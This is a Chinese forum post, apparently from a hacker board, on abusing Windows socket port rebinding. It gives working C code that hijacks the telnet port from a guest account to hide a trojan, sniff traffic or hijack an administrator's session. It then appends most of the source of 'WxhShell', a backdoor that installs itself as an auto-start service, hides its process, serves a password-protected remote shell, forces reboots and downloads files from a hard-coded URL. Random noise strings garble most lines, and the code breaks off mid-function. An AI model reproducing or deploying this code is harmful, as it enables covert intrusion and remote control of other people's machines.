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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0Dm`Ek3A7x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =*:[(Py1  
FJjF*2 .  
  saddr.sin_family = AF_INET; S?nNZW\6[  
/[|}rqX(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0(9I\j5`TT  
8?j&{G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lYZ@a4TA  
>OKS/(I0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1!;"bHpk  
Jl}!CE@-  
  这意味着什么?意味着可以进行如下的攻击: C*{15!d:G  
(ciGLfNG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .}$`+h8W T  
@}&,W N%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KtfkE\KP  
E2qB:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UPVO~hB;  
#"o6OEy$A#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  []=FZ`4  
~b>nCP8q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c69U1  
AF*ni~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2[8fFo>  
_cxm}*}\#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U9@t?j_#X{  
Jm]]>K8.3V  
  #include , `[Z`SUk`  
  #include + +T "+p  
  #include EBj,pk5M  
  #include    .`p<hA)%[C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HC9vc,Fp  
  int main() EaM"=g  
  { SmT+L,:D  
  WORD wVersionRequested; vu_>U({. T  
  DWORD ret; }{#;;5KrB  
  WSADATA wsaData; xP{HjONu  
  BOOL val; i_[ HcgT-  
  SOCKADDR_IN saddr; 3ZW/$KP/  
  SOCKADDR_IN scaddr; A=v lC?&Z  
  int err; .\ ;l-U  
  SOCKET s; Jo7fxWO_g  
  SOCKET sc; 3D?IG\3  
  int caddsize; g33<qYxP  
  HANDLE mt; w2uRN?  
  DWORD tid;   E(aX4^]g  
  wVersionRequested = MAKEWORD( 2, 2 ); 6o[0sM_];  
  err = WSAStartup( wVersionRequested, &wsaData ); Ur_ S [I  
  if ( err != 0 ) { |x1$b 7  
  printf("error!WSAStartup failed!\n"); { M`  
  return -1; hVlyEsLg  
  } i FC"!23f  
  saddr.sin_family = AF_INET; k TFz_*6.  
   X tJswxw`K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YEg .  
l9]o\JFXk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Wl,%&H2S<  
  saddr.sin_port = htons(23); qsI{ b<n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x2sN\tOh^  
  { 5?^]1P_  
  printf("error!socket failed!\n"); ]MC/t5vCu  
  return -1; =ft9T&ciD  
  } PqTYAN&F  
  val = TRUE; [vE$R@TZ0!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5fU!'ajaN7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g<M0|eX@~  
  { OlIT|bzkb  
  printf("error!setsockopt failed!\n"); C#Y,r)l  
  return -1; S*;#'j)4+  
  } O:2 #_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0rV/qMo;K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uRP Ff77  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [.M  
pMOD\J:l,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O ,l\e 3;  
  { C=8H)Ef,l  
  ret=GetLastError(); HS7R lU^  
  printf("error!bind failed!\n"); `$H7KIG  
  return -1; pH^ z  
  } n:F@gZd`  
  listen(s,2);  1U  
  while(1) Pv#KmSA9  
  { eDuX"/kHA  
  caddsize = sizeof(scaddr); P1$f}K}  
  //接受连接请求 l+oDq'[q"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2ed@HJu  
  if(sc!=INVALID_SOCKET) OO$|9`a  
  { yz2(_@R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ohtT O]\  
  if(mt==NULL) k@7kNMl  
  { ; /=L  
  printf("Thread Creat Failed!\n"); [;<<4k(nL  
  break; rYbCOazr  
  } wtq,`'B  
  } qv.n99?]  
  CloseHandle(mt); P> |Ef~j  
  } $kv@tzO  
  closesocket(s); )q^(T1  
  WSACleanup(); y!F:m=x<  
  return 0; 1p~5h(jI  
  }   ci;&CHa  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6I"C~&dt  
  { a"k'm}hVY$  
  SOCKET ss = (SOCKET)lpParam; gUspGsfr  
  SOCKET sc; % ^e@`0L  
  unsigned char buf[4096]; KLW&bJ$|j  
  SOCKADDR_IN saddr; 7O"hiDQ  
  long num; whw{dfE  
  DWORD val; s_TD4~ $  
  DWORD ret; .3(;9};  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EPv%LX_j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   } +1'{B"I  
  saddr.sin_family = AF_INET; y ^SyhG,V[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4? v,wq  
  saddr.sin_port = htons(23); ![).zi+m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r,Ds[s)B  
  { qrpb[)Ll  
  printf("error!socket failed!\n"); GZ"&L?ti  
  return -1; BKX 9 SL]  
  } 6< >SHw  
  val = 100; 6{8/P'@/Zz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C 0>=x{,v  
  { $ o " L;j  
  ret = GetLastError(); _[F@1NJ  
  return -1; M!#AfIyB  
  } M7vj^mt?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bNXAU\M^  
  { yhwy>12,K  
  ret = GetLastError(); eG4>d^`c  
  return -1; ~#q;bS  
  } ?&xlT+JM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6"+8M 3M l  
  { Yg&` U^7]B  
  printf("error!socket connect failed!\n"); <wa(xDBw  
  closesocket(sc); 6rT4iC3Q{  
  closesocket(ss); <6R"h-u"  
  return -1; fnWsm4  
  } xDUaHE1co  
  while(1) [%?y( q  
  { y?Onb 3%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F"[3c6yF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xW\,KSK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lV)G@l[1  
  num = recv(ss,buf,4096,0); 7*;^UqGjz  
  if(num>0) [@|be.g  
  send(sc,buf,num,0); a,cC!   
  else if(num==0) `m, Ki69.  
  break; (6clq:c7j  
  num = recv(sc,buf,4096,0); r )8z#W>s  
  if(num>0) puF%=i  
  send(ss,buf,num,0); Z/7dg-$?'0  
  else if(num==0) |xeE3,8  
  break; JGgxAd{L  
  } a q kix"J  
  closesocket(ss); ;(S|cm'>}  
  closesocket(sc); s!de2z  
  return 0 ; vI|As+`$d  
  } R04J3D|  
7wi%j!  
o\goE^,aeR  
========================================================== 11{y}J  
NnOI:X {  
下边附上一个代码,,WXhSHELL + Kk@Q  
pX_b6%yX(  
========================================================== DEtf(lW_  
U0IE1_R  
#include "stdafx.h" HTR1)b  
$:;%bjSI  
#include <stdio.h> zmbZ  
#include <string.h> no|Gq>Xp  
#include <windows.h> j|(:I:]  
#include <winsock2.h> 8[R1A  
#include <winsvc.h> I N_gF_@%  
#include <urlmon.h> gQ+9xTd  
v20~^gKo=m  
#pragma comment (lib, "Ws2_32.lib") [b;Uz|o  
#pragma comment (lib, "urlmon.lib") pBU]=[M0  
 C0<YH "  
#define MAX_USER   100 // 最大客户端连接数 -_|]N/v\  
#define BUF_SOCK   200 // sock buffer _l T0H u  
#define KEY_BUFF   255 // 输入 buffer On%,l  
s0lYj@E'  
#define REBOOT     0   // 重启 wT/6aJoX  
#define SHUTDOWN   1   // 关机 <T4(H[9B  
#HG&[Ywi  
#define DEF_PORT   5000 // 监听端口 GA@ Ue9  
1Z 6SI>p  
#define REG_LEN     16   // 注册表键长度 '=#5(O%pp  
#define SVC_LEN     80   // NT服务名长度 jb3.W  
v$3_o :  
// 从dll定义API 2-s7cXs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *l-`<.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jsZY{s=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rS,j;8D-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  2d~LNy  
lsFfb'>  
// wxhshell配置信息 qiU5{}  
struct WSCFG { q^]tyU!w  
  int ws_port;         // 监听端口 ^#w{/C/n  
  char ws_passstr[REG_LEN]; // 口令 HamEIL-l.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 50,Y  
  char ws_regname[REG_LEN]; // 注册表键名 9[sG1eP!  
  char ws_svcname[REG_LEN]; // 服务名  "l2bx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R9vY:oN%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SB1[jcJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6ZOAmH fs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HtUG#sc&`{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n.Vtc-yZU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1MV@5j  
m#MlH=-  
}; F"=Hp4-C  
DM'qNgB7  
// default Wxhshell configuration J | q^+K  
struct WSCFG wscfg={DEF_PORT, uP Rl[tS0  
    "xuhuanlingzhe", gY%&IHQ'  
    1, Y'JL(~|  
    "Wxhshell", v~`*(Hh  
    "Wxhshell", G h=<0WaF=  
            "WxhShell Service", gDv$DB8-  
    "Wrsky Windows CmdShell Service", esteFLm`6  
    "Please Input Your Password: ", iN`6xkY  
  1, Wxs>osq  
  "http://www.wrsky.com/wxhshell.exe", ~$*`cO  
  "Wxhshell.exe" JaFUcpZk$  
    }; A!4VjE>  
4(8<w cL  
// 消息定义模块 [9HYO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q]T BQ&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [,GU5,o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |i u2&p >  
char *msg_ws_ext="\n\rExit."; fa yKM  
char *msg_ws_end="\n\rQuit."; /4-}k  
char *msg_ws_boot="\n\rReboot..."; kXMP=j8  
char *msg_ws_poff="\n\rShutdown..."; on_H6Y@B52  
char *msg_ws_down="\n\rSave to "; {( dP  
:Dj#VN  
char *msg_ws_err="\n\rErr!"; -~} tq]  
char *msg_ws_ok="\n\rOK!";  ;b|  
C rfRLsN]  
char ExeFile[MAX_PATH]; Bi XTC$Oi  
int nUser = 0; PK}vh%  
HANDLE handles[MAX_USER]; 4]IKh,jT  
int OsIsNt; $N dH*  
u6pIdt  
SERVICE_STATUS       serviceStatus; ZHcONYAr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mV%h[~-  
%!yxC  
// 函数声明 'xk1o,;  
int Install(void); p&uCp7]U  
int Uninstall(void); _<3r'Y,  
int DownloadFile(char *sURL, SOCKET wsh); %:%MUdl6  
int Boot(int flag); (s ;zRb!4L  
void HideProc(void); U&s(1~e\  
int GetOsVer(void); ve~C`2=;  
int Wxhshell(SOCKET wsl); :cb[M5c  
void TalkWithClient(void *cs); Z7oaQ\fR  
int CmdShell(SOCKET sock); fSr`>UpxC  
int StartFromService(void); aTX]+tBoe  
int StartWxhshell(LPSTR lpCmdLine); /xJY7yF  
Q8 4t9b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g*28L[Q~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [*t U}9  
OFQ{9  
// 数据结构和表定义 'Nw6.5  
SERVICE_TABLE_ENTRY DispatchTable[] = Nv{eE<<6  
{ $M-NR||k  
{wscfg.ws_svcname, NTServiceMain}, L/5z!  
{NULL, NULL} &62` Wr0C  
}; M",];h(I6(  
K# /Ch5?  
// 自我安装 "`[$&:~  
int Install(void) ~%/'0}F  
{ `k!UjO72  
  char svExeFile[MAX_PATH]; 5"[y FmP*  
  HKEY key; F-$Kv-f  
  strcpy(svExeFile,ExeFile); A=W5W5l(>  
W;91H'`?H  
// 如果是win9x系统,修改注册表设为自启动 FRc  |D  
if(!OsIsNt) { u^!&{q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FU'^n6[<B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]gEu.Nth`  
  RegCloseKey(key); rpx 0|{m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *TJ<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O.dux5lfBd  
  RegCloseKey(key); {rs6"X^  
  return 0; y{:]sHyG  
    } #DrZ`Aq  
  } t;oT {Hge  
} 1`nc8qC  
else { >\RDQ%z  
!'Gb$l!  
// 如果是NT以上系统,安装为系统服务 IruyE(;HS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B #;s(O  
if (schSCManager!=0) }rFThI  
{ 9UB??049z  
  SC_HANDLE schService = CreateService vR<fdV  
  ( "9TxK6  
  schSCManager, c9 gz!NE  
  wscfg.ws_svcname, ^ yY{o/6  
  wscfg.ws_svcdisp, X+/{%P!w  
  SERVICE_ALL_ACCESS, iXt4|0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E6)mBAE  
  SERVICE_AUTO_START, FeMu`|2  
  SERVICE_ERROR_NORMAL, d hy=x  
  svExeFile, ^H'#*b0u  
  NULL, Vufw:}i+^  
  NULL, ocvBKsfhE`  
  NULL, HhO$`YZ%>  
  NULL, kI]1J  
  NULL 0)Z7U$  
  ); m~v Ie c  
  if (schService!=0) &8N\ 6K=  
  { S9.jc@#.`  
  CloseServiceHandle(schService); #Xc~3rg9  
  CloseServiceHandle(schSCManager); D4G{= Y}G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5v]xk?Eb  
  strcat(svExeFile,wscfg.ws_svcname); 2b<0g@~X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qW /&.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sqj8I"<`  
  RegCloseKey(key); R$">  
  return 0; BDX>J3h  
    } bkm: #K  
  } sD6vHX%  
  CloseServiceHandle(schSCManager); YdYaLTz  
} f\=6I3z  
} `OLB';D  
 0/*X=5  
return 1; 'v+96b/;  
} XJ\_ V[WA  
,L~snR'w  
// 自我卸载 D0KELA cY  
int Uninstall(void) _]_LF[  
{ G "c/a8  
  HKEY key; )Kr(Y.w  
r.Lx%LZ\^  
if(!OsIsNt) { _&=9Ke  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]ci RiMkT(  
  RegDeleteValue(key,wscfg.ws_regname); hN}5u"pS  
  RegCloseKey(key); CCy .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {YfYIt=.  
  RegDeleteValue(key,wscfg.ws_regname); F-i&M1 \_  
  RegCloseKey(key); .GtINhz*  
  return 0; l2r>|CGQ[  
  } /T{mS7EpYc  
} =$[W,+X6f  
} "hfw9Qm  
else { $/os{tzjd  
ayN*fiV]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `dP? 2-Z  
if (schSCManager!=0) MR[N6E6Mg  
{ "NlRSc#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YqkA&qL]#;  
  if (schService!=0) 9B& }7kk  
  { P%ye$SASd  
  if(DeleteService(schService)!=0) { v)TUg0U=,  
  CloseServiceHandle(schService); A<]&JbIt  
  CloseServiceHandle(schSCManager); ;Kt'Sit  
  return 0; K T%i,T  
  } |:{g?4Mi  
  CloseServiceHandle(schService); "hJ7 Vv_  
  } E`U &Z  
  CloseServiceHandle(schSCManager); rE9Ta8j6  
} L)@`58Eil  
} lrq>TJEcx  
3KB| NS  
return 1; wbn^R'  
} OA\vT${5  
r{bgTG  
// 从指定url下载文件 Xq[:GUnt  
int DownloadFile(char *sURL, SOCKET wsh) Zjw!In|vC  
{ D:+)uX}MOf  
  HRESULT hr; +qE,<c}}  
char seps[]= "/"; v#{G8'+%  
char *token; yIn/Y0No  
char *file; "H wVK  
char myURL[MAX_PATH]; #RCZA4>  
char myFILE[MAX_PATH]; ~xsb5M5  
Uqb]e?@  
strcpy(myURL,sURL); t ?pIE cl  
  token=strtok(myURL,seps); ~N)( ^ 4  
  while(token!=NULL) }[XB]Xf  
  { @]?? +f}#  
    file=token; [a#?}((  
  token=strtok(NULL,seps); xMO[3 D&D  
  } }z9I`6[  
`8$:F4%P  
GetCurrentDirectory(MAX_PATH,myFILE); \}]=?}(  
strcat(myFILE, "\\"); /h.:br?M#P  
strcat(myFILE, file); :pL1F)-*  
  send(wsh,myFILE,strlen(myFILE),0); y@2vY[)3s  
send(wsh,"...",3,0); .b!OZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F:[Nw#gj/  
  if(hr==S_OK) gNMKGf\Y  
return 0; /6i Tq^.%  
else E< io^  
return 1; ntA[[OIFO  
Q{ |+ 3!!'  
} XZUB*P}]D  
n',9#I(!L  
// 系统电源模块 !9ceCnwbNN  
int Boot(int flag) S20 nk.x  
{ F1{?]>G  
  HANDLE hToken; ( FjsN5  
  TOKEN_PRIVILEGES tkp; 2ZTyo7P  
nsr _\F\  
  if(OsIsNt) { l\A}lC0?J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Xv? S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eJVOVPg<,  
    tkp.PrivilegeCount = 1; g#9*bF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gs`27Gih  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XSHwE)m  
if(flag==REBOOT) { VQG  /g\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^~YmLI4  
  return 0; |+$j( YuH  
} 2jrX  
else { JUaKj@a|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (`uC"MLk  
  return 0; +gD)Yd  
} b/D9P~cE  
  } &s6(3k  
  else { ?G%, k LJJ  
if(flag==REBOOT) { Jb)eC?6O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %8`1Li6g  
  return 0; Lu#@~  
}  S9ak '  
else { J z:W-o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NdED8 iRc  
  return 0; f'zFg["aZS  
} u_/OTy  
} }mT%N eS  
v,x%^gv0  
return 1; #9W5  
} *v7& T  
[0,q7d?"  
// win9x进程隐藏模块 7gR;   
void HideProc(void) dO4U9{+  
{ S;AnpiBM8  
X-2S*L'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qwq+?fj={  
  if ( hKernel != NULL ) Ll E_{||h  
  { 5\*wX.wp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); da86Jj=k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W0?Y%Da(4m  
    FreeLibrary(hKernel); %H 6ZfEO  
  } |~" A:gf  
F*jj cUk  
return; [@l v]+@  
} <T2~xn  
(9[C0eS  
// 获取操作系统版本 {pJ@I=q  
int GetOsVer(void) DSG +TA"  
{ Ai_|)  
  OSVERSIONINFO winfo; &u`rE""  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *p5T  
  GetVersionEx(&winfo); 9oau _Q#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +nyN+X34B  
  return 1; )+{omQ7v  
  else KL\=:iWA  
  return 0; L"vG:Mq@D  
} kE(-vE9  
rpP+20v  
// 客户端句柄模块 1X_!%Z  
int Wxhshell(SOCKET wsl) %<*pM@  
{ Q\>SF  
  SOCKET wsh; SVEA  
  struct sockaddr_in client; ]=XL9MI  
  DWORD myID; &\D<n; 3  
D2*Q1n  
  while(nUser<MAX_USER) @KRn3$U  
{ .$}zw|,q  
  int nSize=sizeof(client); f%%En5e +  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )^@V*$D  
  if(wsh==INVALID_SOCKET) return 1; bzL;)H4Eo  
gl{P LLe[}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dq1XZ%8  
if(handles[nUser]==0) ~ilBw:L-3  
  closesocket(wsh); `,]PM) iC  
else -OGy-"  
  nUser++; 8i$`oMv[y  
  } <u% e*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <T~fh>a  
E6\~/=X=%  
  return 0; n{NgtH\V  
} b6M)qt9R  
6#63D>OWp  
// 关闭 socket eeR@p$4i  
void CloseIt(SOCKET wsh) QF6JZQh<  
{ Pb&+(j  
closesocket(wsh); %SFR.U0}yK  
nUser--; e~[z]GLO%  
ExitThread(0); otVdx&%]  
} ,'DrFlI  
f;dU72]q+  
// 客户端请求句柄 qCT\rZU  
void TalkWithClient(void *cs) m&c(N  
{ jmVy4* P_  
6HQwL\r79  
  SOCKET wsh=(SOCKET)cs; xJ5!` #=  
  char pwd[SVC_LEN]; 3Ya6yz  
  char cmd[KEY_BUFF]; 5!fW&OiY  
char chr[1]; rZ4<*Zegv  
int i,j; {/!"}{G1e  
VQ}3r)ch  
  while (nUser < MAX_USER) { RxG./GY  
\>azY g  
if(wscfg.ws_passstr) { [,X,2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PX/0  jv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y}z?I%zL  
  //ZeroMemory(pwd,KEY_BUFF); % E_{L  
      i=0; [)c|oh%  
  while(i<SVC_LEN) { ;itg>\ p3  
8Y'"=!3  
  // 设置超时 BVeNK=7m%  
  fd_set FdRead; ixpG[8s  
  struct timeval TimeOut; ~]+  jn  
  FD_ZERO(&FdRead); M&-/ &>n!  
  FD_SET(wsh,&FdRead); IV*$U7~  
  TimeOut.tv_sec=8; jo#F&  
  TimeOut.tv_usec=0; vH8%a8V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cNv c pv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8"^TWzg}L  
EOC"a}Cq-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y Dw!u[:  
  pwd=chr[0]; IbwRb  
  if(chr[0]==0xd || chr[0]==0xa) { brot&S2P><  
  pwd=0; o|C{ s   
  break; [)u{-  
  } @U5>w\  
  i++; Z_+No :F7I  
    } E+ 20->  
pBLO  
  // 如果是非法用户,关闭 socket PCjY,O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v:;cTX=x`#  
} KR0 x[#.*  
i*j+<R@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nsk 6a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m"]ys #  
ObzlZP r@  
while(1) { ~V)E:(  
eRbO Hj1  
  ZeroMemory(cmd,KEY_BUFF); 7 i/Cax  
pT tX[CE  
      // 自动支持客户端 telnet标准   '"^JNb^I  
  j=0; Xi.?9J`@  
  while(j<KEY_BUFF) { <^{:K`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5;Xrf=  
  cmd[j]=chr[0]; SGm? "esEt  
  if(chr[0]==0xa || chr[0]==0xd) { W[s>TDc`v  
  cmd[j]=0;  sd%~pY}  
  break; FO$Tn+\6  
  } 67?5Cv  
  j++; `m^OnH  
    } (P-<9y@  
IIkJ"Qg.  
  // 下载文件 $}fA;BP  
  if(strstr(cmd,"http://")) { {J$aA6t:"T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mZyTo/\0  
  if(DownloadFile(cmd,wsh)) 605|*(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .2xkf@OP  
  else nCU4a1rZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HJmO+  
  } at!?"u  
  else { "RLb wm~  
xFZq6si?  
    switch(cmd[0]) { 30@ GFaab  
  hh9{md\  
  // 帮助 g%trGW3{-  
  case '?': { e^yB9b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pp2 )P7  
    break; o6 /?WR9  
  } 32yNEP{  
  // 安装 Bh?;\D'YC  
  case 'i': { n>WS@b/o  
    if(Install()) ~6tY\6$9f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :z\STXq  
    else ;/@R{G{+~;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &,zeBFmc  
    break; FWg7 e3  
    } !T*izMX}  
  // 卸载 b^0=X!bg  
  case 'r': { {Wt=NI?Ow  
    if(Uninstall()) F8q|$[nH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _k&vW(O=:  
    else {D$+~ lO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Ps&N^[  
    break; ^DD]jx  
    } vkp_v1F%+  
  // 显示 wxhshell 所在路径 0 *2^joUv  
  case 'p': { 2)-Umq{]{  
    char svExeFile[MAX_PATH]; :>f}rq  
    strcpy(svExeFile,"\n\r"); ]V^ >aUlj  
      strcat(svExeFile,ExeFile); G0)}?5L1J  
        send(wsh,svExeFile,strlen(svExeFile),0); !c W6dc^  
    break; g=n{G@*N  
    } {\hjKP  
  // 重启 E%LUJx}  
  case 'b': { AT%6K.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T5|e\<l  
    if(Boot(REBOOT)) Z-:T')#Cf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]VL} eHZ  
    else { ; [G:  
    closesocket(wsh); {n|ah{_p|  
    ExitThread(0); n]df)a  
    } d?&`Z Vl  
    break; ^D<CoxG  
    } /jNvHo^B  
  // 关机 ugNt7P,^  
  case 'd': { `6)(Fk--"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fX]`vjM{  
    if(Boot(SHUTDOWN)) TG[u3 Y4  
